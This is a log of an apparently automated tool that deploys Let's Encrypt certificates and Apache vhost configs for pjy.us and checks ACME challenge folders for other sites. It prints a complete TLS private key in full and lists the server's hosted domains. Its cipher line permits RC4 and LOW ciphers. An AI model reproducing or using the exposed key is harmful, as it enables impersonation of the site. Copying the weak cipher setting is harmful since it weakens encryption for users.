-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-31 06:00:22:
chmod 755 /tmp/pkp910554; /tmp/pkp910554; rm /tmp/pkp910554
2025-12-31 06:00:22:
dir=/etc/ssl/certs
2025-12-31 06:00:22:
PUT: /tmp/pkp917710
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_www_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 06:00:22:
chmod 755 /tmp/pkp917710; /tmp/pkp917710; rm /tmp/pkp917710
2025-12-31 06:00:22:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 34
<VirtualHost *:80>
ServerName pjy.us
ServerAdmin do_not_email@example.com
ServerAlias www.pjy.us
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_access.log combined
ErrorLog /var/log/apache2/pjy/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName pjy.us
ServerAlias www.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_secure_access.log combined
ErrorLog /var/log/apache2/pjy/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:00:22:
PUT: /tmp/pkp312331
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_www_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_www_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName pjy.us
ServerAdmin do_not_email@example.com
ServerAlias www.pjy.us
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_access.log combined
ErrorLog /var/log/apache2/pjy/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName pjy.us
ServerAlias www.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_secure_access.log combined
ErrorLog /var/log/apache2/pjy/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf= 1'
fi
2025-12-31 06:00:22:
chmod 755 /tmp/pkp312331; /tmp/pkp312331; rm /tmp/pkp312331
2025-12-31 06:00:22:
2025-12-31 06:00:22:
PUT: /tmp/pkp489878
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-31 06:00:22:
chmod 755 /tmp/pkp489878; /tmp/pkp489878; rm /tmp/pkp489878
2025-12-31 06:00:22:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:00:22: Establishing a connection
2025-12-31 06:00:23:
PUT: /tmp/pkp453070
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-31 06:00:23:
chmod 755 /tmp/pkp453070; /tmp/pkp453070; rm /tmp/pkp453070
2025-12-31 06:00:23:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-31 06:00:23:
PUT: /tmp/pkp839502
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_www_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:00:23:
chmod 755 /tmp/pkp839502; /tmp/pkp839502; rm /tmp/pkp839502
2025-12-31 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 1174
<VirtualHost *:80>
ServerName pjy.us
ServerAdmin do_not_email@example.com
ServerAlias www.pjy.us
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_access.log combined
ErrorLog /var/log/apache2/pjy/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName pjy.us
ServerAlias www.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_secure_access.log combined
ErrorLog /var/log/apache2/pjy/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-31 06:00:23:
PUT: /tmp/pkp938302
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-31 06:00:23:
chmod 755 /tmp/pkp938302; /tmp/pkp938302; rm /tmp/pkp938302
2025-12-31 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt 5345
04:47:de:e0:75:06:0e:2d:af:6a:43:32:28:28:df:02
-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBlGsPY0n/u6/tczpijPN+ZLFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMTUxWhcNMjYwMzMxMDUwMTUwWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjYFQTXZQg
43x/4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQln
SNCdNQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbU
uGZZZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyv
f8OxX2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBL
ZKxLhLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYL
O/76YL5I3GoNAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFI/E
S40AvdEt95RDVwGSf/L0cFy6MB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzcwLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+Mxss
mQez95Dfm8I9cTIl3SGpJaxhxU4hAAABm3L+NxUAAAQDAEcwRQIgCsqlaGrzvjQJ
bbq4XwTYBgfi3OBQde5/mDCJ8fg0BYECIQC/OGOy8k1VhR3DJ5Ewi4s7sgJF+O4v
6JUPMY2pjOh09QB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAAB
m3L+N8sACAAABQAFotPhBAMARzBFAiBNpxLuUs35St6dfAvsdJ299yoMPQ/D0KIj
hnhZUvR1MQIhALP3KM6Rh9VfOl8AniIakXug9DXexpsGvOWGubhDTYPtMA0GCSqG
SIb3DQEBCwUAA4IBAQCcqz+ap4lFaNB1+Re71yY+8dGPQYzv6BMsikoLqTiqqfuK
ZGQWXRSh9lkfQTcREXSdGHIOODvq17rFCi8DOPbvTesqVdzt3I3mEJLkUMroIc07
lN/SGXGZ6cUzWX5PyjZ3fQ0EbXU3Z1BSiAqPrpabKOzITQprCqS9S1OmnX6h5LRo
YDHiDmetNLupYfUVb6wr2I2sMX+z+ukTmXDWbr7bomM75SOrbPIfC7X8vZseLwmQ
NkOMqbhmaRs5+d/l0s361v/eZxbTTK7HAbQz2alzf3CeIQPQ50a4dM0/Sf0+Q3Rz
Fq3iUaLhqd5U8911FAOOWjMPri0qeojHZB2Z6f2u
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCjYFQTXZQg43x/
4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQlnSNCd
NQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbUuGZZ
ZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyvf8Ox
X2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBLZKxL
hLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYLO/76
YL5I3GoNAgMBAAECggEAAUcRET+zl1hAEn31RKVy6MNkFmle+EB9ECdhg1xE27Ot
6HB50R2HvlLbNPu9I4oi5y8IaRlvM+QRYZFXIUY4gEFFDh67dymxTJzfwwVuFeAc
Wiu/cbrrKrajAQ5QwwU6ul4h5AImAO7aOgu/V6VUSxMGtcRKlwGlRuIRY+neg+8E
dGNLNaiczIaP3Vv33gCPwzZJKzyrH/LAbx6OjgL3KMda8IJwOuy128aD/lBOZT8r
jvSi4p8pl1U+c4qWEoOT1ntJa9Mh5xGQYjMO1Q1g1YyIDMD9/DV3UqDez2qGmoSL
RZkTyPHIwo7Ov73+cCvMzKga2NVM8vfvSPL9/jzGMQKBgQDRsVUQ756G+LttmGE6
8bGpcp47mi6Kcboiimk0hag4kpWPNRbq5ta8bk4z4P6eRjt7Deq2O2jGiAyh8pmS
dQtIbnpP//xA0zp0EL0Pv1iGliL3ti8V7mrCgFmaGHO9LiydjGLDl4J0+R7AA/j/
np0DHaJ3+f/9QOAj32MEj7fZeQKBgQDHdJDJUnkcEKa393zKjJLN7KKXBDJmMdhr
hN/cJZtdEPHEYkRCRH3xsa5zZ6zbXcwhHgjuZccNUhaEc+WkpmhxUPy8/UV8/wzF
tbBssrBoBsGHuIU/UNNfp7hns8YChUVv43ZvNtcspuNU3fdaksefnZTt2WRxScre
6ObG2HqENQKBgQCN3T1B0fscMVcMVFUjfbTGgMbQaAUooLxe9ekrIWmnrHQGiNJS
ZY3NuYqqyoM4LSe8nrO2SgcemZiCUBDZ5tmVTTjuuq68ZKtdLp3Z84g+tYA+ukCs
w7nykMcN25Eh4gVJKVsAHJaj8I5/NbDVr0dmfjwWk0o+2g9J9a2Vvm2RcQKBgQC0
sJH2AEP9O8x9PrSLnjvkV6qX2tJ5qFBiXzaZ7mvILPCJM2iZDAl4qrnajKKY/GlP
2zDGH+fq1mHVzlTNC3/0oCTGZT/NVBVTCxzv7BVJuE0c0fnMeUF0F7JEKCWK5QcZ
rNv/NpRKPEoX+Rn7sJstq4lezCFlTC+AL0fZ/gVHvQKBgB8lFbPJOiglYop0sE3y
xIKqiIDDheDx/2TWJWMtPCUYd/HV5s2L6IqyqEAD0kUQQPZgkm/U1xb3HTaaYVZu
FeHAYX3ahsyRGM4Vgs4l+s4/m5jw0/7JISCTh1elazvmUkAb9h5fp7atSzOoEfPJ
ZKlJA2mLjPYFFKB0vR6b/OMj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-31 06:00:23: Establishing a connection
2025-12-31 06:00:23: Establishing a connection
2025-12-31 06:00:23:
PUT: /tmp/pkp291386
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-31 06:00:24:
chmod 755 /tmp/pkp291386; /tmp/pkp291386; rm /tmp/pkp291386
2025-12-31 06:00:24:
1
2025-12-31 06:00:24: Establishing a connection
2025-12-31 06:00:25:
PUT: /tmp/pkp163873
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > pt8S3g4XDUmnJ6WfVhgO22EkNBmVVMkNiBS-pFChb9c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pt8S3g4XDUmnJ6WfVhgO22EkNBmVVMkNiBS-pFChb9c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pt8S3g4XDUmnJ6WfVhgO22EkNBmVVMkNiBS-pFChb9c
2025-12-31 06:00:25:
chmod 755 /tmp/pkp163873; /tmp/pkp163873; rm /tmp/pkp163873
2025-12-31 06:00:25:
2025-12-31 06:00:26: Establishing a connection
2025-12-31 06:00:26: Establishing a connection
2025-12-31 06:00:26:
PUT: /tmp/pkp481237
#!/bin/bash
if [ -d "/var/www/christadelphian_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-31 06:00:27:
chmod 755 /tmp/pkp481237; /tmp/pkp481237; rm /tmp/pkp481237
2025-12-31 06:00:27:
1
